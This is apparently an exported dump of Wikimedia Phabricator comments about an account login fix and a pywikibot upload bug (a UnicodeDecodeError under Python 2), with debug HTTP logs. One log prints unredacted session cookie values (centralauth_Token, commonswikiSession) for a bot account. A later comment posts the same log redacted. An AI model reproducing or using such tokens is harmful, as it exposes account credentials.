+Even though not verified, could @Meno25 log in via Wikimedia's SUL and access https://phabricator.wikimedia.org/settings/panel/email/ to change the email address and add a new one?",,,1432071151,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0
+460018,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@Krenair:
+""[...] it is OK for me if the email address of the account was changed. --Meno25 (talk) 17:47, 17 May 2015 (UTC)""
+from the link in the description.",,,1431885061,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1
+460017,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"@Krenair:
+""[...] it is OK for me if the email address of the account was changed. --Meno25 (talk) 17:47, 17 May 2015 (UTC)"" from the link in the description.",,,1431885044,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1
+460011,Fix login for specific user account in Phabricator (Meno25; unverified due to defunct email address),"It doesn't appear to have been used, why don't we just change the email on it to match the email on the attached MediaWiki account?",,,1431884085,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-tpgl74m777dx6dczzppy,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+99366,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"On an upload of ""File:Scanwings, OH-BCX, Beechcraft C90 King Air (17512831479).jpg"" to Commons: 
+
+Using HEAD, upload fail with a loophole of
+
+```
+ERROR: Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1555, in submit
+    body=body, headers=headers)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 950, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 269, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 370, in fetch
+    error_handling_callback(request)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 287, in error_handling_callback
+    raise request.data
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128)
+
+WARNING: Waiting 5 seconds before retrying.
+```
+
+After debugging, I found all versions after 1e54a7d6886d56a21101900025038e25bab5ad03 has the same error, while version before raises an (expected) exception that is handled in botscript:
+  
+```
+KeyError: u'bad-prefix'
+```
+(raised in https://github.com/wikimedia/mediawiki/blob/84899f991ff44f36b7359f0bbf8de2955b81a904/includes/upload/UploadBase.php#L1834)
+  
+I agree that some errors should be prevented from uploading. But why is there a UnicodeDecodeError leading to a loophole?",Medium,50.0,1431787184,1499769348.0,PHID-USER-6dmbpidylyt4dzsxzjg4,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-vji32kosvdjphqtxtr7a,task_description,declined,True,c3,1,True,False,False,-7,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+891252,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),requests is required for pywikibot instead of http2lib,,,1499769348,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,105,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+508941,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Change 211522 abandoned by Merlijn van Deen:
+Make sure all comms code works with native str
+
+Reason:
+Or not.
+
+[[https://gerrit.wikimedia.org/r/211522]]",,,1439649154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,False,,,6,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+500741,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Requests is installed globally on tool labs grid engines. Should be up to date with apt repo. (It has been a while since I read the puppet files though),,,1438451761,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+500739,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Added traceback.print_exc() and got:
+```
+Traceback (most recent call last):
+  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 258, in _http_process
+    verify=True, timeout=timeout)
+  File ""/usr/lib/python2.7/dist-packages/requests/sessions.py"", line 357, in request
+    resp = self.send(prep, **send_kwargs)
+  File ""/usr/lib/python2.7/dist-packages/requests/sessions.py"", line 460, in send
+    r = adapter.send(request, **kwargs)
+  File ""/usr/lib/python2.7/dist-packages/requests/adapters.py"", line 319, in send
+    timeout=timeout
+  File ""/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py"", line 542, in urlopen
+    body=body, headers=headers)
+  File ""/usr/lib/python2.7/dist-packages/urllib3/connectionpool.py"", line 367, in _make_request
+    conn.request(method, url, **httplib_request_kw)
+  File ""/usr/lib/python2.7/httplib.py"", line 966, in request
+    self._send_request(method, url, body, headers)
+  File ""/usr/lib/python2.7/httplib.py"", line 1000, in _send_request
+    self.endheaders(body)
+  File ""/usr/lib/python2.7/httplib.py"", line 962, in endheaders
+    self._send_output(message_body)
+  File ""/usr/lib/python2.7/httplib.py"", line 820, in _send_output
+    msg += message_body
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1993: ordinal not in range(128)
+ERROR: Traceback (most recent call last):
+  File ""/data/project/yifeibot/panrb/pywikibot/data/api.py"", line 1699, in submit
+    body=body, headers=headers)
+  File ""/data/project/yifeibot/panrb/pywikibot/tools/__init__.py"", line 1227, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 246, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 363, in fetch
+    error_handling_callback(request)
+  File ""/data/project/yifeibot/panrb/pywikibot/comms/http.py"", line 280, in error_handling_callback
+    raise request.data
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1993: ordinal not in range(128)
+
+WARNING: Waiting 40 seconds before retrying.
+```",,,1438451507,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,1,1
+500738,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Are you sure you are using the master branch with requests and in any case do you have a stacktrace?,,,1438450392,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+500737,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"For some reason, master branch also fail on tool labs grid engine with very similiar exception (UnicodeDecodeError raised in error_handling_callback). The exception does not happen on bastion hosts and so I didn't observe it earlier. @Yuvipanda is there a console encoding or something set to ASCII on grid?",,,1438450272,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,4,True,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0
+494477,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"This is fixed for the master (requests) branch, but this issue still persists in the 2.0 branch.",,,1437507597,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+478653,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"I haven't looked into the script for a while, but it seems working with latest version.",,,1434869478,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0
+468184,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Is this fixed with the switch to requests?
+
+We have upload tests which are not run by travis; do they work?  Do we need to add more tests to cover this scenario?",,,1433331411,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0
+466106,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),Any updates?,,,1432964592,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-5,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0
+459972,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"Change 211522 had a related patch set uploaded (by Merlijn van Deen):
+Make sure all comms code works with native str
+
+[[https://gerrit.wikimedia.org/r/211522]]
+",,,1431868499,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,False,,,-7,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+459960,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),I'll take a closer look at this later but it seems that we should encode all header entries to ASCII before we are sending it away. I guess in Python 3 httplib2 is doing that for us.,,,1431864560,,PHID-USER-7fndkemmavweiht5ybfd,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,0
+459958,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"There are several issues. The requests has several unicode parts, which causes the entire request to be cast to a unicode string. Of course, this fails once we want to send binary data (namely, the file contents). At least the following ones are wrong:
+
+* **u'POST /w/api.php HTTP/1.1'**
+* 'Host: commons.wikimedia.org'
+* 'Content-Length: 743405'
+* 'accept-encoding: gzip, deflate'
+* **u'user-agent: test (commons:commons; User:Valhallasw) Pywikibot/2.0b3 (g5524) httplib2/0.9 Python/2.7.6.final.0'**
+* **u'connection: keep-alive'**
+* 'cookie: (...)'
+* 'content-type: multipart/form-data; boundary=""===============1715999916774184062==""'
+* 'mime-version: 1.0'
+
+and this may have something to do with the introduction of unicode_literals at some place.",,,1431863707,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,1,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+459955,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"I tried the following...
+
+```
+# this image is https://flic.kr/p/t2nWxA
+wget https://farm9.staticflickr.com/8880/17737230072_d678b9f089_o_d.jpg
+
+# then
+python pwb.py shell
+```
+
+and then in the python shell
+
+```
+import pywikibot
+site = pywikibot.Site('commons', 'commons')
+site.login() # site.upload does not do this itself for some reason
+site.upload(pywikibot.FilePage(site, ""File:Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg""), source_filename=""17737230072_d678b9f089_o_d.jpg"", comment=""Testing [[phab:T99366]] / [[Commons:Bots|Bot]]: Uploading files from Flickr"", ignore_warnings=False)
+```
+
+which allows me to reproduce the issue -- in Python 2, at least. In Python 3, the upload magically works: https://commons.wikimedia.org/wiki/File:Ryanair,_EI-DWP,_Boeing_737-8AS_(17737230072).jpg",,,1431862829,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,0,1,1,0,1,1
+459910,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"```
+connect: (commons.wikimedia.org, 443)
+send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=userinfo&action=query&uiprop=blockinfo%7Cgroups%7Chasmsg%7Crights HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: centralauth_Token=(redacted); centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiUserID=2915654; forceHTTPS=true; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+header: Server: nginx/1.6.2
+header: Date: Sun, 17 May 2015 01:11:33 GMT
+header: Content-Type: application/json; charset=utf-8
+header: Content-Length: 465
+header: Connection: keep-alive
+header: X-Powered-By: HHVM/3.6.1
+header: X-Content-Type-Options: nosniff
+header: Cache-control: private, must-revalidate, max-age=0
+header: X-Frame-Options: SAMEORIGIN
+header: Content-Encoding: gzip
+header: Vary: Accept-Encoding
+header: Set-Cookie: commonswikiSession=(redacted); path=/; secure; httponly
+header: X-Varnish: 968174735, 3348394954
+header: Via: 1.1 varnish, 1.1 varnish
+header: Accept-Ranges: bytes
+header: Age: 0
+header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
+header: Set-Cookie: GeoIP=::::v4; Path=/; Domain=.wikimedia.org
+header: X-Analytics: https=1
+header: Set-Cookie: WMF-Last-Access=17-May-2015;Path=/;HttpOnly;Expires=Thu, 18 Jun 2015 00:00:00 GMT
+Page 1
+Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg
+send: u'GET /w/api.php?inprop=protection&titles=File%3ARyanair%2C+EI-DWP%2C+Boeing+737-8AS+%2817737230072%29.jpg&continue=&format=json&prop=info&meta=userinfo&indexpageids=&action=query&maxlag=5&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=(redacted); centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=(redacted); commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+header: Server: nginx/1.6.2
+header: Date: Sun, 17 May 2015 01:11:33 GMT
+header: Content-Type: application/json; charset=utf-8
+header: Content-Length: 248
+header: Connection: keep-alive
+header: X-Powered-By: HHVM/3.6.1
+header: X-Content-Type-Options: nosniff
+header: Cache-control: private, must-revalidate, max-age=0
+header: X-Frame-Options: SAMEORIGIN
+header: Content-Encoding: gzip
+header: Vary: Accept-Encoding
+header: X-Varnish: 66566441, 3348396553
+header: Via: 1.1 varnish, 1.1 varnish
+header: Accept-Ranges: bytes
+header: Age: 0
+header: X-Cache: cp1065 miss (0), cp1068 frontend miss (0)
+header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
+send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=tokens%7Cuserinfo&action=query&type=csrf%7Ccsrf%7Cdeleteglobalaccount%7Cpatrol%7Crollback%7Csetglobalaccountstatus%7Cuserrights%7Cwatch&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=(redacted); centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=(redacted); commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+header: Server: nginx/1.6.2
+header: Date: Sun, 17 May 2015 01:11:34 GMT
+header: Content-Type: application/json; charset=utf-8
+header: Content-Length: 321
+header: Connection: keep-alive
+header: X-Powered-By: HHVM/3.6.1
+header: X-Content-Type-Options: nosniff
+header: Cache-control: private, must-revalidate, max-age=0
+header: X-Frame-Options: SAMEORIGIN
+header: Content-Encoding: gzip
+header: Vary: Accept-Encoding
+header: X-Varnish: 968176035, 3348398412
+header: Via: 1.1 varnish, 1.1 varnish
+header: Accept-Ranges: bytes
+header: Age: 0
+header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
+header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
+Sleeping for 7.5 seconds, 2015-05-17 01:11:34
+ERROR: Traceback (most recent call last):
+  File ""/data/project/yifeibot/pywikibot/pywikibot/data/api.py"", line 1556, in submit
+    body=body, headers=headers)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/tools/__init__.py"", line 1094, in wrapper
+    return obj(*__args, **__kw)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 279, in request
+    r = fetch(baseuri, method, body, headers, **kwargs)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 381, in fetch
+    error_handling_callback(request)
+  File ""/data/project/yifeibot/pywikibot/pywikibot/comms/http.py"", line 297, in error_handling_callback
+    raise request.data
+UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1850: ordinal not in range(128)
+```
+I believe the UnicodeDecodeError happened before the upload request is really sent. 
+
+The exact values is: 
+```
+site.upload(pywikibot.FilePage(site, ""File:Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg""), source_filename=""temp/fli.tmp"", comment=""[[Commons:Bots|Bot]]: Uploading files from Flickr"", ignore_warnings=False)
+```
+git diff shows nothing and git status shows HEAD detached at d798da3",,,1431825978,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-vji32kosvdjphqtxtr7a,task_subcomment,,True,c3,1,True,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+459909,error with httplib2 and unicode_literals: UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 1872: ordinal not in range(128),"```
+connect: (commons.wikimedia.org, 443)
+send: u'GET /w/api.php?maxlag=5&format=json&rawcontinue=&meta=userinfo&action=query&uiprop=blockinfo%7Cgroups%7Chasmsg%7Crights HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: centralauth_Token=78b8f029c49c2f259939a0b5dadd6c8a; centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiUserID=2915654; forceHTTPS=true; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+header: Server: nginx/1.6.2
+header: Date: Sun, 17 May 2015 01:11:33 GMT
+header: Content-Type: application/json; charset=utf-8
+header: Content-Length: 465
+header: Connection: keep-alive
+header: X-Powered-By: HHVM/3.6.1
+header: X-Content-Type-Options: nosniff
+header: Cache-control: private, must-revalidate, max-age=0
+header: X-Frame-Options: SAMEORIGIN
+header: Content-Encoding: gzip
+header: Vary: Accept-Encoding
+header: Set-Cookie: commonswikiSession=244c342c5006ef116c903f7b68678c79; path=/; secure; httponly
+header: X-Varnish: 968174735, 3348394954
+header: Via: 1.1 varnish, 1.1 varnish
+header: Accept-Ranges: bytes
+header: Age: 0
+header: X-Cache: cp1054 miss (0), cp1068 frontend miss (0)
+header: Set-Cookie: GeoIP=::::v4; Path=/; Domain=.wikimedia.org
+header: X-Analytics: https=1
+header: Set-Cookie: WMF-Last-Access=17-May-2015;Path=/;HttpOnly;Expires=Thu, 18 Jun 2015 00:00:00 GMT
+Page 1
+Ryanair, EI-DWP, Boeing 737-8AS (17737230072).jpg
+send: u'GET /w/api.php?inprop=protection&titles=File%3ARyanair%2C+EI-DWP%2C+Boeing+737-8AS+%2817737230072%29.jpg&continue=&format=json&prop=info&meta=userinfo&indexpageids=&action=query&maxlag=5&uiprop=blockinfo%7Chasmsg HTTP/1.1\r\nHost: commons.wikimedia.org\r\ncontent-type: application/x-www-form-urlencoded\r\nconnection: keep-alive\r\ncookie: GeoIP=::::v4; centralauth_Token=78b8f029c49c2f259939a0b5dadd6c8a; centralauth_User=YiFeiBot; forceHTTPS=1; commonswikiSession=244c342c5006ef116c903f7b68678c79; commonswikiUserID=2915654; forceHTTPS=true; WMF-Last-Access=17-May-2015; commonswikiUserName=YiFeiBot\r\naccept-encoding: gzip, deflate\r\nuser-agent: flickrAZ (commons:commons; User:YiFeiBot) Pywikibot/2.0b3 (g5523) httplib2/0.8 Python/2.7.6.final.0\r\n\r\n'
+reply: 'HTTP/1.1 200 OK\r\n'
+header: Server: nginx/1.6.2
+header: Date: Sun, 17 May 2015 01:11:33 GMT
+header: Content-Type: application/json; charset=utf-8
+header: Content-Length: 248
+header: Connection: keep-alive
+header: X-Powered-By: HHVM/3.6.1
+header: X-Content-Type-Options: nosniff
+header: Cache-control: private, must-revalidate, max-age=0
+header: X-Frame-Options: SAMEORIGIN
+header: Content-Encoding: gzip
+header: Vary: Accept-Encoding
+header: X-Varnish: 66566441, 3348396553
+header: Via: 1.1 varnish, 1.1 varnish
+header: Accept-Ranges: bytes
+header: Age: 0
+header: X-Cache: cp1065 miss (0), cp1068 frontend miss (0)
+header: X-Analytics: https=1;WMF-Last-Access=17-May-2015
